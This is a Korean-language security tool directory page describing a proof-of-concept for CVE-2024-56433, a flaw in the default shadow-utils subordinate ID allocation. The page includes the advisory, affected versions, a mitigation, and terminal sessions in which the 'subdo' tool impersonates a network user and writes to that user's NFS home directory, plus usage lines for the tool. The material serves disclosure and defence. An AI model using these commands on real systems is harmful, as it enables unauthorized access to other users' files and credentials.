Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-56433 — CVE-2024-56433에 대한 개념 증명 익스플로잇으로, shadow-utils 하위 ID 충돌을 통한 권한 상승을 시연하여 다른 사용자의 데이터에 접근합니다. | Kitploit
도구/GitHubGitHub/jonnywhatshisface/cve-2024-56433
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingRed Teaming
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

CVE-2024-56433에 대한 개념 증명 익스플로잇으로, shadow-utils 하위 ID 충돌을 통한 권한 상승을 시연하여 다른 사용자의 데이터에 접근합니다.

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-56433

shadow-utils - 로컬 사용자에 대한 안전하지 않은 기본 하위 ID 할당

요약

기본 하위 ID 할당은 기존 사용자 ID와 충돌할 위험을 초래하여 UID/GID를 임의로 변경하고 데이터 및 네트워크 리소스에 대한 무단 액세스를 얻을 수 있는 잠재적 위험을 만듭니다.

영향을 받는 버전

기본 패키지: shadow-utils 4.4 - 4.17.0

영향을 받는 Linux 배포판

확인된 배포판: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. shadow-utils 4.4 이상을 사용하는 모든 최신 배포판 버전.

참고 자료

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

세부 사항

Shadow-utils는 로컬 사용자에게 하위 ID를 위임하는 기본 구성을 포함하여 배포되기 시작했습니다.

root@kitploit:~
$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

shadow-utils 도구(adduser, useradd 및 시스템 설치 중)를 통해 새 로컬 사용자가 시스템에 추가되면 각 사용자는 UID/GID 100000부터 시작하는 65,536개의 고유한 UID 및 GID 블록을 받습니다. 예를 들어, 다음 시스템에는 두 명의 로컬 사용자가 추가되어 있습니다:

root@kitploit:~
$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

하위 ID 구성은 지정된 범위의 사용 권한을 사용자 네임스페이스의 사용자에게 위임하며, 가장 일반적으로 루트리스 컨테이너화에 사용됩니다. 그러나 컨테이너화 유틸리티는 네임스페이스에 진입하는 데 필수적이지 않으며, 기본 shadow-utils 도구인 'newuidmap' 및 'newgidmap'을 포함한 여러 방법을 통해 수행할 수 있습니다. 이를 통해 사용자는 자신에게 위임된 범위 내의 모든 ID로 POSIX 사용자 ID를 임의로 변경할 수 있습니다.

예시

다음 예시에서 사용자 ID Jon - UID/GID 1000 - 은 100000부터 시작하는 65,536개의 UID/GID 범위를 위임받았습니다. 네트워크에는 중앙 집중식 사용자 관리 및 로그인을 위해 LDAP를 통해 구성된 다른 ID가 있으며, 네트워크 사용자의 홈 디렉토리는 NFS에 있습니다.

UID/GID 108372 는 네트워크 사용자 msteph 에게 속합니다.

설치 중 생성된 기본 하위 UID/GID 할당을 활용하여 로컬 사용자는 네트워크 사용자의 ID로 전환한 다음 NFS 홈 디렉토리에 액세스하여 해당 사용자로 파일을 읽고 쓸 수 있습니다.

root@kitploit:~
jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

NFS가 예시로 사용되었지만, 이는 NFS 액세스에만 국한되지 않습니다. Kerberos 자격 증명이 로컬 시스템에 저장될 수 있는 인프라에서는 자격 증명을 로컬 시스템에서 탈취하여 다른 Kerberos 서비스에 대한 액세스가 가능해질 수 있으므로 위험에 노출됩니다.

완화 조치

/etc/login.defs 의 SUB_ 항목을 제거해야 합니다. /etc/subuid 및 /etc/subgid 에서 예상치 못한 항목도 제거해야 합니다.

POC

원하는 할당된 하위 ID로 UID/GID를 변경하는 POC는 subdo.c 및 subdo.py 로 첨부되어 있습니다.

POC는 내부 및 외부 ID를 동일한 ID로 매핑한 다음 네임스페이스 내에서 해당 ID로 setuid() 및 setgid()를 수행하므로, 네임스페이스의 셸에서 실행되는 모든 명령이 호스트에서 해당 uid/gid로 실행됩니다.

subdo.c

원하는 하위 UID/GID로 모든 명령 및 인수를 실행할 수 있습니다.

root@kitploit:~
Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

원하는 하위 UID/GID로 /bin/bash를 실행합니다.

root@kitploit:~
Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
도구 다운로드